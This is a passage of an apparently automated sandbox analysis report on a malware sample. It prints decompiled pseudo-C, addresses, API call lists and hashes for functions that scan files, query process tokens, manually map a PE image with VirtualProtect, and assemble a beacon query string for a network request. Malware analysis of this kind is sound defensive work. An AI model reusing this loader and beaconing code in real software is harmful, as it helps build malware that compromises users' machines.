						_v28.dwHighDateTime = _v344;
						_v28.dwLowDateTime = _v368.ftLastWriteTime.dwLowDateTime;
					}
					_t99 = CompareFileTime( &(_v368.ftLastWriteTime),  &_v28);
				}
				_v12 = _v12 & 0x00000000;
				while(1) {
					_t109 = _v44;
					if(_v12 <= _t109) {
						goto L15;
					}
					_t140 = _v12;
					if(_t140 > _v32) {
						_t141 = _v36;
						 *_a4 = _t141;
						while(1) {
							_t128 =  *_t141;
							if(_t128 == 0) {
								break;
							}
							if(_t128 < 0x30) {
								 *_t141 = _t128 + 0x20;
							}
							_t141 = _t141 + 1;
						}
						_v12 = 1;
						FindClose(_v16); // executed
						_t146 = 0;
						goto L35;
					}
					_t165 = _t140 - _t109;
					L15:
					if(_t165 == 0 || _v12 == _v32) {
						_t111 = StrChrA( &(_v368.cFileName), 0x2e);
						_t139 = _v40;
						_t151 = _t111 -  &(_v368.cFileName);
						_t113 = 0;
						if(_t139 != 0) {
							_t48 = _t151 - 4; // -4
							_t113 = _t48;
							if(_t113 > _t151) {
								_t113 = 0;
							}
						}
						if(_t151 > 4) {
							_t151 = 4;
						}
						memcpy(_v36 + _t139, _t152 + _t113 - 0x140, _t151);
						_t154 = _t154 + 0xc;
						_v40 =  &(_v40[_t151]);
					}
					do {
						_t119 = FindNextFileA(_v16,  &_v368); // executed
						if(_t119 == 0) {
							FindClose(_v16);
							_v16 = FindFirstFileA(_v20,  &_v368);
						}
					} while (CompareFileTime( &(_v368.ftLastWriteTime),  &_v28) > 0);
					_v12 = _v12 + 1;
				}
			}

0x034412dd
0x034412e3
0x034412e5
0x034412ff
0x03441303
0x03441306
0x0344157b
0x03441582
0x03441582
0x0344130c
0x03441321
0x03441323
0x03441327
0x0344132a
0x0344156b
0x03441575
0x00000000
0x03441575
0x03441330
0x0344133b
0x03441340
0x03441345
0x03441348
0x0344134f
0x03441356
0x03441359
0x0344155b
0x03441565
0x00000000
0x03441565
0x0344136f
0x03441373
0x03441376
0x03441379
0x03441381
0x03441384
0x0344138d
0x03441393
0x0344139d
0x034413a4
0x034413a4
0x034413b6
0x034413c1
0x034413cf
0x034413d4
0x034413d9
0x034413dc
0x034413e1
0x034413eb
0x034413ee
0x034413f1
0x03441407
0x0344140b
0x0344140e
0x03441559
0x00000000
0x03441559
0x03441425
0x03441476
0x03441439
0x03441441
0x03441446
0x03441454
0x0344145d
0x03441466
0x03441466
0x03441474
0x03441474
0x0344147a
0x0344147e
0x0344147e
0x03441484
0x00000000
0x00000000
0x03441486
0x0344148c
0x03441533
0x03441536
0x03441543
0x03441543
0x03441547
0x00000000
0x00000000
0x0344153c
0x03441540
0x03441540
0x03441542
0x03441542
0x0344154c
0x03441553
0x03441555
0x00000000
0x03441555
0x03441492
0x03441494
0x03441494
0x034414a7
0x034414ad
0x034414b8
0x034414ba
0x034414be
0x034414c0
0x034414c0
0x034414c5
0x034414c7
0x034414c7
0x034414c5
0x034414cc
0x034414d0
0x034414d0
0x034414e0
0x034414e5
0x034414e8
0x034414e8
0x034414eb
0x034414f5
0x034414fd
0x03441502
0x03441510
0x03441510
0x03441524
0x03441528
0x03441528

APIs

RtlAllocateHeap.NTDLL(00000000,63699BC3,00000000), ref: 034412FF
RtlAllocateHeap.NTDLL(00000000,63699BC3), ref: 03441321
memset.NTDLL ref: 0344133B

Part of subcall function 034495B1: ExpandEnvironmentStringsA.KERNEL32(00000000,00000000,00000000,00000000,034423E9,63699BCE,03441354,73797325), ref: 034495C2
Part of subcall function 034495B1: ExpandEnvironmentStringsA.KERNEL32(?,00000000,00000000,00000000), ref: 034495DC

CreateFileA.KERNELBASE(00000000,80000000,00000001,00000000,00000003,00000080,00000000,73797325), ref: 03441379
GetFileTime.KERNEL32(00000000,?,00000000,00000000), ref: 0344138D
FindCloseChangeNotification.KERNELBASE(00000000), ref: 034413A4
StrRChrA.SHLWAPI(?,00000000,0000005C), ref: 034413B0
lstrcat.KERNEL32(?,642E2A5C), ref: 034413F1
FindFirstFileA.KERNELBASE(?,?), ref: 03441407
CompareFileTime.KERNEL32(?,?), ref: 03441425
FindNextFileA.KERNELBASE(034496C1,?), ref: 03441439
FindClose.KERNEL32(034496C1), ref: 03441446
FindFirstFileA.KERNEL32(?,?), ref: 03441452
CompareFileTime.KERNEL32(?,?), ref: 03441474
StrChrA.SHLWAPI(?,0000002E), ref: 034414A7
memcpy.NTDLL(00000000,?,00000000), ref: 034414E0
FindNextFileA.KERNELBASE(034496C1,?), ref: 034414F5
FindClose.KERNEL32(034496C1), ref: 03441502
FindFirstFileA.KERNEL32(?,?), ref: 0344150E
CompareFileTime.KERNEL32(?,?), ref: 0344151E
FindClose.KERNELBASE(034496C1), ref: 03441553
HeapFree.KERNEL32(00000000,00000000,73797325), ref: 03441565
HeapFree.KERNEL32(00000000,?), ref: 03441575

Memory Dump Source

Source File: 00000003.00000002.493810566.0000000003441000.00000020.00000001.sdmp, Offset: 03440000, based on PE: true

Associated: 00000003.00000002.493785661.0000000003440000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.493848114.000000000344C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.493863050.000000000344D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.493880197.000000000344F000.00000002.00000001.sdmp Download File

Similarity

API ID: File$Find$CloseHeapTime$CompareFirst$AllocateEnvironmentExpandFreeNextStrings$ChangeCreateNotificationlstrcatmemcpymemset
String ID:
API String ID: 2944988578-0
Opcode ID: c18560625255ca2da80eb696179dc094735af93ef4138626af9c6e2c3e4d4c99
Instruction ID: f1172362b05a77d9ee8d6bc2857513582c89ca3e866eab2a7ac6bcb5b2cbe83a
Opcode Fuzzy Hash: c18560625255ca2da80eb696179dc094735af93ef4138626af9c6e2c3e4d4c99
Instruction Fuzzy Hash: B18148B5D00219AFEF20DFA5DC84AEEBBF9FB48300F14017AE515FA250D7319A858B64

Uniqueness

Uniqueness Score: -1.00%

Function 034483B7, Relevance: 10.6, APIs: 7, Instructions: 81
nativeCOMMON

Download Yara Rule

C-Code - Quality: 38%

			E034483B7(char _a4, void* _a8) {
				void* _v8;
				void* _v12;
				char _v16;
				void* _v20;
				char _v24;
				char _v28;
				char _v32;
				char _v36;
				char _v40;
				void* _v44;
				void** _t33;
				void* _t40;
				void* _t43;
				void** _t44;
				intOrPtr* _t47;
				char _t48;

				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_v20 = _a4;
				_t48 = 0;
				_v16 = 0;
				_a4 = 0;
				_v44 = 0x18;
				_v40 = 0;
				_v32 = 0;
				_v36 = 0;
				_v28 = 0;
				_v24 = 0;
				if(NtOpenProcess( &_v12, 0x400,  &_v44,  &_v20) >= 0) {
					_t33 =  &_v8;
					__imp__(_v12, 8, _t33);
					if(_t33 >= 0) {
						_t47 = __imp__;
						 *_t47(_v8, 1, 0, 0,  &_a4, _t43); // executed
						_t44 = E03442049(_a4);
						if(_t44 != 0) {
							_t40 =  *_t47(_v8, 1, _t44, _a4,  &_a4); // executed
							if(_t40 >= 0) {
								memcpy(_a8,  *_t44, 0x1c);
								_t48 = 1;
							}
							E03449039(_t44);
						}
						NtClose(_v8); // executed
					}
					NtClose(_v12);
				}
				return _t48;
			}

0x034483c4
0x034483c5
0x034483c6
0x034483c7
0x034483c8
0x034483cc
0x034483d3
0x034483e2
0x034483e5
0x034483e8
0x034483ef
0x034483f2
0x034483f5
0x034483f8
0x034483fb
0x03448406
0x03448408
0x03448411
0x03448419
0x0344841b
0x0344842d
0x03448437
0x0344843b
0x0344844a
0x0344844e
0x03448457
0x0344845f
0x0344845f
0x03448461
0x03448461
0x03448469
0x0344846f
0x03448473
0x03448473
0x0344847e

APIs

NtOpenProcess.NTDLL(00000000,00000400,?,?), ref: 034483FE
NtOpenProcessToken.NTDLL(00000000,00000008,?), ref: 03448411
NtQueryInformationToken.NTDLL(?,00000001,00000000,00000000,00000000), ref: 0344842D

Part of subcall function 03442049: RtlAllocateHeap.NTDLL(00000000,00000000,03447E50), ref: 03442055

NtQueryInformationToken.NTDLL(?,00000001,00000000,00000000,00000000), ref: 0344844A
memcpy.NTDLL(00000000,00000000,0000001C), ref: 03448457
NtClose.NTDLL(?), ref: 03448469
NtClose.NTDLL(00000000), ref: 03448473

Memory Dump Source

Source File: 00000003.00000002.493810566.0000000003441000.00000020.00000001.sdmp, Offset: 03440000, based on PE: true

Associated: 00000003.00000002.493785661.0000000003440000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.493848114.000000000344C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.493863050.000000000344D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.493880197.000000000344F000.00000002.00000001.sdmp Download File

Similarity

API ID: Token$CloseInformationOpenProcessQuery$AllocateHeapmemcpy
String ID:
API String ID: 2575439697-0
Opcode ID: c81167b420763c01d255188cc9d1f853e85a68a673263dfdb61d27888822b88e
Instruction ID: 40b240c8716569515ec072d53289a6137e4e8cb3d31c502546bcb08ccf798aad
Opcode Fuzzy Hash: c81167b420763c01d255188cc9d1f853e85a68a673263dfdb61d27888822b88e
Instruction Fuzzy Hash: F4210775901228BFEB11EF96DC85ADEBFBDEB08740F104026F500BA110D7719A449FA4

Uniqueness

Uniqueness Score: -1.00%

Function 0339348F, Relevance: 3.9, APIs: 1, Strings: 1, Instructions: 367
memoryCOMMONCrypto

Download Yara Rule

C-Code - Quality: 72%

			E0339348F(signed int __ebx, signed int __ecx, signed int __edx, signed int __edi, signed int __esi, signed int _a4) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v32;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				void* __ebp;
				signed int _t195;
				signed int _t197;
				signed int _t198;
				signed int _t199;
				signed int _t202;
				signed int _t205;
				signed int _t211;
				void* _t212;
				signed int _t215;
				signed int _t218;
				signed int _t221;
				signed int _t222;
				signed int _t223;
				signed int _t226;
				void* _t236;
				void* _t243;
				void* _t245;
				signed int _t247;
				signed int _t259;
				long _t262;
				long _t265;
				signed int _t270;
				signed int _t275;
				signed int _t278;
				signed int _t280;
				signed int _t282;
				void* _t286;
				signed int _t287;
				void* _t292;
				void* _t293;
				DWORD* _t294;
				signed int _t299;
				signed int _t302;
				signed int _t305;
				signed int _t308;
				void* _t309;
				signed int _t313;
				signed int _t320;
				long _t325;
				signed int* _t333;

				_t299 = __esi;
				_t275 = __edi;
				_t258 = __edx;
				_t229 = __ecx;
				_t223 = __ebx;
				if( *(__ebx + 0x41820f) == 0) {
					_push(_v20);
					 *_t333 = __ecx;
					_push(__edi);
					 *_t333 =  *_t333 & 0x00000000;
					 *_t333 =  *_t333 | __edx;
					_t195 =  *((intOrPtr*)(__ebx + 0x45d020))();
					_v20 = __ecx;
					 *(__ebx + 0x41820f) =  *(__ebx + 0x41820f) & 0x00000000;
					 *(__ebx + 0x41820f) =  *(__ebx + 0x41820f) | __ecx ^ _v20 | _t195;
					_pop(_t258);
					_pop(_t229);
				}
				_push(_t325);
				 *_t333 =  *_t333 - _t325;
				 *_t333 =  *_t333 ^ _t258;
				if( *(_t223 + 0x418637) == 0) {
					_v12 = _v12 & 0x00000000;
					 *_t333 =  *_t333 | _t229;
					_t195 =  *((intOrPtr*)(_t223 + 0x45d024))(_v12);
					_v12 = _t299;
					 *(_t223 + 0x418637) =  *(_t223 + 0x418637) & 0x00000000;
					 *(_t223 + 0x418637) =  *(_t223 + 0x418637) | _t299 - _v12 ^ _t195;
					_t299 = _v12;
					_pop(_t229);
				}
				_v20 = _v20 & 0x00000000;
				_push(_v20);
				 *_t333 =  *_t333 ^ _t229;
				if( *(_t223 + 0x4181e7) == 0) {
					_v32 =  *((intOrPtr*)(_t223 + 0x418351));
					_t325 = _t325;
					_v40 =  *((intOrPtr*)(_t223 + 0x418073));
					_t320 = _t299;
					_t275 = _v44;
					_v44 =  *((intOrPtr*)(_t223 + 0x418147));
					_t195 =  *((intOrPtr*)(_t223 + 0x45d044))(_t275, _t275, _t325, _t325);
					_v20 = _t320;
					 *(_t223 + 0x4181e7) =  *(_t223 + 0x4181e7) & 0x00000000;
					 *(_t223 + 0x4181e7) =  *(_t223 + 0x4181e7) | _t320 - _v20 | _t195;
					_t299 = _v20;
				}
				_v12 = _t275;
				_t197 = _t195 & 0x00000000 | _t275 ^ _v12 | _a4;
				_t278 = _v12;
				if( *(_t223 + 0x4182f3) == 0) {
					_v16 = _v16 & 0x00000000;
					_v32 = _v32 + _t197;
					_t222 =  *((intOrPtr*)(_t223 + 0x45d024))(_v16);
					_v12 = _t229;
					 *(_t223 + 0x4182f3) =  *(_t223 + 0x4182f3) & 0x00000000;
					 *(_t223 + 0x4182f3) =  *(_t223 + 0x4182f3) | _t229 & 0x00000000 ^ _t222;
					_t229 = _v12;
					_pop(_t197);
				}
				_t198 = _t197 +  *((intOrPtr*)(_t197 + 0x3c));
				if( *(_t223 + 0x418577) == 0) {
					_v32 = _v32 - _t223;
					_v32 = _v32 + _t198;
					_v40 =  *((intOrPtr*)(_t223 + 0x418197));
					_v44 = _v44 & 0x00000000;
					_v44 = _v44 ^ _t278;
					_t229 = _v48;
					_v48 =  *((intOrPtr*)(_t223 + 0x418193));
					_v52 =  *((intOrPtr*)(_t223 + 0x418320));
					_t221 =  *((intOrPtr*)(_t223 + 0x45d048))(_v40, _t325, _t229, 0, _t223);
					_v12 = _t258;
					 *(_t223 + 0x418577) =  *(_t223 + 0x418577) & 0x00000000;
					 *(_t223 + 0x418577) =  *(_t223 + 0x418577) | _t258 - _v12 ^ _t221;
					_t258 = _v12;
					_t198 = _t198;
				}
				_v20 = 0;
				_push(_v20);
				_v32 = _v32 | _t198;
				if( *(_t223 + 0x418583) == 0) {
					_v12 = _v12 & 0x00000000;
					 *_t333 =  *_t333 ^ _t198;
					_v40 =  *((intOrPtr*)(_t223 + 0x41848b));
					_v44 =  *((intOrPtr*)(_t223 + 0x4180ab));
					_t278 = _t278;
					_v48 = _t229;
					_v52 =  *((intOrPtr*)(_t223 + 0x4185df));
					_t299 = _t299;
					_v56 =  *((intOrPtr*)(_t223 + 0x418263));
					_t270 = _t258;
					_t218 =  *((intOrPtr*)(_t223 + 0x45d048))(_t229, _v16, _t229, _t198, _v12);
					 *(_t223 + 0x418583) =  *(_t223 + 0x418583) & 0x00000000;
					 *(_t223 + 0x418583) =  *(_t223 + 0x418583) ^ _t270 & 0x00000000 ^ _t218;
					_t258 = _t270;
					_t198 = _t278;
				}
				_v12 = _t299;
				_t280 = _t278 & 0x00000000 | _t299 & 0x00000000 ^ _t198;
				_t302 = _v12;
				if( *(_t223 + 0x418117) == 0) {
					_t215 =  *((intOrPtr*)(_t223 + 0x45d024))();
					_v12 = _t302;
					 *(_t223 + 0x418117) =  *(_t223 + 0x418117) & 0x00000000;
					 *(_t223 + 0x418117) =  *(_t223 + 0x418117) ^ _t302 ^ _v12 ^ _t215;
					_t302 = _v12;
				}
				_t199 =  *(_t280 + 6) & 0x0000ffff;
				if( *((intOrPtr*)(_t223 + 0x41829b)) == 0) {
					_v16 = 0;
					 *_t333 =  *_t333 + _t199;
					_push( *((intOrPtr*)(_t223 + 0x45d024))(_v16));
					_pop( *_t108);
					_push(_v16);
					_pop( *_t110);
					_pop(_t199);
				}
				_v8 = _v8 & 0x00000000;
				_v8 = _v8 ^ _t302 ^  *_t333 ^ _t199;
				_t305 = _t302;
				if( *(_t223 + 0x41806f) == 0) {
					_push(_t325);
					 *_t333 =  *(_t223 + 0x4182df);
					_push(_t280);
					_push( *_t333);
					_v40 =  *((intOrPtr*)(_t223 + 0x418340));
					_pop(_t325);
					_v44 =  *((intOrPtr*)(_t223 + 0x41817b));
					_t243 = _t229;
					_v48 =  *((intOrPtr*)(_t223 + 0x4185ff));
					_t245 = _t243;
					_v52 =  *((intOrPtr*)(_t223 + 0x4184eb));
					_t247 = _t245;
					_t199 =  *((intOrPtr*)(_t223 + 0x45d048))(_t325, _t243, _t199);
					 *(_t223 + 0x41806f) =  *(_t223 + 0x41806f) & 0x00000000;
					 *(_t223 + 0x41806f) =  *(_t223 + 0x41806f) | _t247 ^ _v56 ^ _t199;
					_t229 = _t247;
				}
				_push(_t258);
				 *_t333 =  *_t333 - _t258;
				 *_t333 = _t280;
				if( *(_t223 + 0x4180b7) == 0) {
					_t199 =  *((intOrPtr*)(_t223 + 0x45d024))();
					 *(_t223 + 0x4180b7) =  *(_t223 + 0x4180b7) & 0x00000000;
					 *(_t223 + 0x4180b7) =  *(_t223 + 0x4180b7) | _t229 - _v40 ^ _t199;
					_t229 = _t229;
				}
				_v20 = _t305;
				_t259 =  *(_t280 + 0x54);
				_t308 = _v20;
				if( *(_t223 + 0x41812b) == 0) {
					_v12 = _v12 & 0x00000000;
					_v40 = _v40 ^ _t259;
					_t199 =  *((intOrPtr*)(_t223 + 0x45d020))(_v12);
					 *(_t223 + 0x41812b) =  *(_t223 + 0x41812b) & 0x00000000;
					 *(_t223 + 0x41812b) =  *(_t223 + 0x41812b) | _t280 & 0x00000000 | _t199;
					_t280 = _t280;
					_pop(_t259);
				}
				_v12 = _t199;
				_t282 = _t280 & 0x00000000 ^ _t199 & 0x00000000 ^  *(_t223 + 0x4180f7);
				_t202 = _v12;
				if( *(_t223 + 0x4181df) == 0) {
					_v40 = _v40 & 0x00000000;
					_v40 = _v40 | _t259;
					_v48 =  *((intOrPtr*)(_t223 + 0x418444));
					_v16 = 0;
					_v52 = _v52 | _t223;
					_t202 =  *((intOrPtr*)(_t223 + 0x45d040))(_v16, _t259, 0, _t308);
					 *(_t223 + 0x4181df) =  *(_t223 + 0x4181df) & 0x00000000;
					 *(_t223 + 0x4181df) =  *(_t223 + 0x4181df) | _t229 - _v56 | _t202;
					_t229 = _t229;
					_pop(_t259);
				}
				_v40 = _t259;
				_t309 = _a4;
				_t262 = 0;
				_v16 = _t282;
				_t231 = _t229 & 0x00000000 | _t282 - _v16 | _t262;
				if(_v16 != _t309) {
					do {
						asm("movsb");
						_t231 = _t231 - 1;
					} while (_t231 != 0);
					_v12 = _t309;
					_t294 =  *(_t223 + 0x4180f7);
					_t309 = _v12;
					 *(_t223 + 0x4184cf) = 0x40;
					_v40 = _v40 & 0x00000000;
					_v40 = _v40 | _t223 + 0x004184cf;
					_v44 = 2;
					_v48 = _v48 - _t325;
					_v48 = _v48 | _t262;
					_v16 = _v16 & 0x00000000;
					_v52 = _v52 ^ _t294; // executed
					_t202 = VirtualProtect(_v16, _t325, _t262, _t294);
				}
				_pop(_t286);
				_t287 = _t286 + 0xf8;
				_t226 = _t223;
				do {
					_v12 = _v12 & 0x00000000;
					_push(_v12);
					 *_t333 =  *_t333 | _t287;
					_v16 = _t202;
					_t205 = _v16;
					_v16 = _t205;
					_t309 = (_t309 & 0x00000000 ^ _t202 & 0x00000000 ^ _a4) +  *((intOrPtr*)(_t287 + 0x14));
					_t202 = memcpy( *((intOrPtr*)(_t287 + 0xc)) +  *(_t226 + 0x4180f7), _t309, _t231 & 0x00000000 ^ _t205 & 0x00000000 ^  *(_t287 + 0x10));
					_t333 =  &(_t333[3]);
					_t231 = 0;
					_pop(_t292);
					_t287 = _t292 + 0x28;
					_t226 = _t226;
					_t187 =  &_v8;
					 *_t187 = _v8 - 1;
				} while ( *_t187 != 0);
				_pop(_t293);
				_push(_t325);
				_t211 = (_t202 & 0x00000000 | _t325 - _v32 |  *(_t293 + 0x28)) +  *(_t226 + 0x4180f7);
				_v32 = 0;
				 *(_t226 + 0x418418) = 0 ^ _t211;
				_t236 = 0;
				_v12 = _t262;
				_t313 = _t309 & 0x00000000 | _t262 & 0x00000000 ^  *(_t226 + 0x4180f7);
				_t265 = _v12;
				if(_t313 > 0) {
					_push(_t226);
					_v32 = _v32 ^ _t226;
					_v32 = _v32 | _t313;
					_t212 = E033920EE(_t226, _t236, _t265, _t293, _t313);
					 *_t333 =  *_t333 & 0x00000000;
					 *_t333 =  *_t333 ^ _t313;
					_t211 = E03395AF6(_t212, _t226, _t236, _t265, _t293, _t313, _t236);
				}
				return _t211;
			}

0x0339348f
0x0339348f
0x0339348f
0x0339348f
0x0339348f
0x0339349c
0x0339349e
0x033934a1
0x033934a4
0x033934a5
0x033934a9
0x033934ac
0x033934b2
0x033934ba
0x033934c1
0x033934ca
0x033934cb
0x033934cb
0x033934cc
0x033934cd
0x033934d0
0x033934da
0x033934dc
0x033934e3
0x033934e6
0x033934ec
0x033934f4
0x033934fb
0x03393501
0x03393504
0x03393504
0x03393505
0x03393509
0x0339350c
0x03393516
0x03393520
0x03393524
0x0339352e
0x03393532
0x0339353a
0x0339353a
0x0339353d
0x03393543
0x0339354b
0x03393552
0x03393558
0x03393558
0x0339355b
0x03393567
0x03393569
0x03393573
0x03393575
0x0339357c
0x0339357f
0x03393585
0x0339358d
0x03393594
0x0339359a
0x0339359d
0x0339359d
0x0339359e
0x033935a8
0x033935ab
0x033935ae
0x033935ba
0x033935be
0x033935c2
0x033935cc
0x033935cc
0x033935d6
0x033935d9
0x033935df
0x033935e7
0x033935ee
0x033935f4
0x033935f7
0x033935f7
0x033935f8
0x033935ff
0x03393602
0x0339360c
0x0339360e
0x03393615
0x0339361f
0x0339362a
0x0339362e
0x03393632
0x0339363d
0x03393641
0x0339364a
0x0339364e
0x0339364f
0x0339365b
0x03393662
0x03393668
0x03393669
0x03393669
0x0339366a
0x03393675
0x03393677
0x03393681
0x03393683
0x03393689
0x03393691
0x03393698
0x0339369e
0x0339369e
0x033936a1
0x033936ac
0x033936ae
0x033936b8
0x033936c1
0x033936c2
0x033936c5
0x033936c8
0x033936ce
0x033936ce
0x033936d5
0x033936d9
0x033936dc
0x033936e4
0x033936e6
0x033936ed
0x033936f0
0x033936f1
0x033936f8
0x033936fc
0x03393705
0x03393709
0x03393712
0x03393716
0x0339371f
0x03393723
0x03393724
0x03393730
0x03393737
0x0339373d
0x0339373d
0x0339373e
0x0339373f
0x03393742
0x0339374c
0x0339374e
0x0339375a
0x03393761
0x03393767
0x03393767
0x03393768
0x03393770
0x03393772
0x0339377c
0x0339377e
0x03393785
0x03393788
0x03393794
0x0339379b
0x033937a1
0x033937a2
0x033937a2
0x033937a3
0x033937b2
0x033937b4
0x033937be
0x033937c1
0x033937c5
0x033937d1
0x033937d4
0x033937de
0x033937e1
0x033937ed
0x033937f4
0x033937fa
0x033937fb
0x033937fb
0x033937fe
0x03393806
0x03393808
0x03393809
0x03393814
0x0339381b
0x0339381d
0x0339381d
0x0339381e
0x0339381e
0x03393821
0x0339382c
0x0339382e
0x03393831
0x03393842
0x03393846
0x0339384a
0x03393852
0x03393855
0x03393858
0x0339385f
0x03393862
0x03393862
0x03393868
0x03393872
0x03393874
0x03393875
0x03393875
0x03393879
0x0339387c
0x0339387f
0x0339388d
0x03393890
0x033938a1
0x033938ad
0x033938ad
0x033938ad
0x033938af
0x033938b9
0x033938bb
0x033938bc
0x033938bc
0x033938bc
0x033938c1
0x033938c2
0x033938cf
0x033938d7
0x033938de
0x033938e4
0x033938e5
0x033938f4
0x033938f6
0x033938fc
0x033938fe
0x033938ff
0x03393902
0x03393905
0x0339390b
0x0339390f
0x03393912
0x03393912
0x0339391a

APIs

VirtualProtect.KERNELBASE(00000000,?,00000000,?,?,00000000,00000000), ref: 03393862

Strings

@, xrefs: 03393831

Memory Dump Source

Source File: 00000003.00000002.493608082.0000000003390000.00000040.00000001.sdmp, Offset: 03390000, based on PE: true

Associated: 00000003.00000002.493695739.00000000033A8000.00000040.00000001.sdmp Download File
Associated: 00000003.00000002.493709249.00000000033ED000.00000040.00000001.sdmp Download File

Similarity

API ID: ProtectVirtual
String ID: @
API String ID: 544645111-2766056989
Opcode ID: 45ff06a93b9dab7e30dae66d33c620778585e23986d508cd26357393324dd102
Instruction ID: 306d18879aeddbb5c3de3d9307543b23a05110303bb11018c3ac00d687e8a3e4
Opcode Fuzzy Hash: 45ff06a93b9dab7e30dae66d33c620778585e23986d508cd26357393324dd102
Instruction Fuzzy Hash: 23F15D72804204EFEF049F64C8897AEBBF5FF84715F1984AEDC88AB145CB782550CB68

Uniqueness

Uniqueness Score: -1.00%

Function 03448B94, Relevance: 33.2, APIs: 22, Instructions: 245
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 74%

			E03448B94(long __eax, void* __ecx, void* __edx, intOrPtr _a4, char** _a8, int* _a12, void* _a16) {
				void* _v8;
				signed int _v12;
				void* _v16;
				void* _v20;
				void* _v24;
				void* _v28;
				void* __ebx;
				void* __edi;
				long _t59;
				intOrPtr _t60;
				intOrPtr _t61;
				intOrPtr _t62;
				intOrPtr _t63;
				intOrPtr _t64;
				void* _t67;
				intOrPtr _t68;
				int _t71;
				void* _t72;
				void* _t73;
				void* _t75;
				void* _t78;
				intOrPtr _t82;
				intOrPtr _t86;
				intOrPtr* _t88;
				void* _t94;
				intOrPtr _t101;
				signed int _t105;
				char** _t107;
				int _t110;
				signed int _t112;
				intOrPtr* _t113;
				intOrPtr* _t115;
				intOrPtr* _t117;
				intOrPtr* _t119;
				intOrPtr _t122;
				intOrPtr _t127;
				int _t131;
				CHAR* _t133;
				intOrPtr _t134;
				void* _t135;
				void* _t144;
				int _t145;
				void* _t146;
				intOrPtr _t147;
				void* _t149;
				long _t153;
				intOrPtr* _t154;
				intOrPtr* _t155;
				intOrPtr* _t158;
				void* _t159;
				void* _t161;

				_t144 = __edx;
				_t135 = __ecx;
				_t59 = __eax;
				_v12 = 8;
				if(__eax == 0) {
					_t59 = GetTickCount();
				}
				_t60 =  *0x344d018; // 0x99c08bf
				asm("bswap eax");
				_t61 =  *0x344d014; // 0x3a87c8cd
				_t133 = _a16;
				asm("bswap eax");
				_t62 =  *0x344d010; // 0xd8d2f808
				asm("bswap eax");
				_t63 =  *0x344d00c; // 0x62819102
				asm("bswap eax");
				_t64 =  *0x344d27c; // 0x262a5a8
				_t3 = _t64 + 0x344e633; // 0x74666f73
				_t145 = wsprintfA(_t133, _t3, 3, 0x3d14b, _t63, _t62, _t61, _t60,  *0x344d02c,  *0x344d004, _t59);
				_t67 = E03441C1A();
				_t68 =  *0x344d27c; // 0x262a5a8
				_t4 = _t68 + 0x344e673; // 0x74707526
				_t71 = wsprintfA(_t145 + _t133, _t4, _t67);
				_t161 = _t159 + 0x38;
				_t146 = _t145 + _t71; // executed
				_t72 = E034454BC(_t135); // executed
				_t134 = __imp__;
				_v8 = _t72;
				if(_t72 != 0) {
					_t127 =  *0x344d27c; // 0x262a5a8
					_t7 = _t127 + 0x344e8eb; // 0x736e6426
					_t131 = wsprintfA(_a16 + _t146, _t7, _t72);
					_t161 = _t161 + 0xc;
					_t146 = _t146 + _t131;
					HeapFree( *0x344d238, 0, _v8);
				}
				_t73 = E03447649();
				_v8 = _t73;
				if(_t73 != 0) {
					_t122 =  *0x344d27c; // 0x262a5a8
					_t11 = _t122 + 0x344e8f3; // 0x6f687726
					wsprintfA(_t146 + _a16, _t11, _t73);
					_t161 = _t161 + 0xc;
					HeapFree( *0x344d238, 0, _v8);
				}
				_t147 =  *0x344d32c; // 0x5a795b0
				_t75 = E03449395(0x344d00a, _t147 + 4);
				_t153 = 0;
				_v20 = _t75;
				if(_t75 == 0) {
					L26:
					RtlFreeHeap( *0x344d238, _t153, _a16); // executed
					return _v12;
				} else {
					_t78 = RtlAllocateHeap( *0x344d238, 0, 0x800);
					_v8 = _t78;
					if(_t78 == 0) {
						L25:
						HeapFree( *0x344d238, _t153, _v20);
						goto L26;
					}
					E03447A80(GetTickCount());
					_t82 =  *0x344d32c; // 0x5a795b0
					__imp__(_t82 + 0x40);
					asm("lock xadd [eax], ecx");
					_t86 =  *0x344d32c; // 0x5a795b0
					__imp__(_t86 + 0x40);
					_t88 =  *0x344d32c; // 0x5a795b0
					_t149 = E03448307(1, _t144, _a16,  *_t88);
					_v28 = _t149;
					asm("lock xadd [eax], ecx");
					if(_t149 == 0) {
						L24:
						RtlFreeHeap( *0x344d238, _t153, _v8); // executed
						goto L25;
					}
					StrTrimA(_t149, 0x344c2ac);
					_push(_t149);
					_t94 = E03443CC8();
					_v16 = _t94;
					if(_t94 == 0) {
						L23:
						RtlFreeHeap( *0x344d238, _t153, _t149); // executed
						goto L24;
					}
					_t154 = __imp__;
					 *_t154(_t149, _a4);
					 *_t154(_v8, _v20);
					_t155 = __imp__;
					 *_t155(_v8, _v16);
					 *_t155(_v8, _t149);
					_t101 = E0344809F(0, _v8);
					_a4 = _t101;
					if(_t101 == 0) {
						_v12 = 8;
						L21:
						E0344A1B0();
						L22:
						RtlFreeHeap( *0x344d238, 0, _v16); // executed
						_t153 = 0;
						goto L23;
					}
					_t105 = E034443DF(_t134, 0xffffffffffffffff, _t149,  &_v24); // executed
					_v12 = _t105;
					if(_t105 == 0) {
						_t158 = _v24;
						_t112 = E0344163F(_t158, _a4, _a8, _a12); // executed
						_v12 = _t112;
						_t113 =  *((intOrPtr*)(_t158 + 8));
						 *((intOrPtr*)( *_t113 + 0x80))(_t113);
						_t115 =  *((intOrPtr*)(_t158 + 8));
						 *((intOrPtr*)( *_t115 + 8))(_t115);
						_t117 =  *((intOrPtr*)(_t158 + 4));
						 *((intOrPtr*)( *_t117 + 8))(_t117);
						_t119 =  *_t158;
						 *((intOrPtr*)( *_t119 + 8))(_t119);
						E03449039(_t158);
					}
					if(_v12 != 0x10d2) {
						L16:
						if(_v12 == 0) {
							_t107 = _a8;
							if(_t107 != 0) {
								_t150 =  *_t107;
								_t156 =  *_a12;
								wcstombs( *_t107,  *_t107,  *_a12);
								_t110 = E034485DB(_t150, _t150, _t156 >> 1);
								_t149 = _v28;
								 *_a12 = _t110;
							}
						}
						goto L19;
					} else {
						if(_a8 != 0) {
							L19:
							E03449039(_a4);
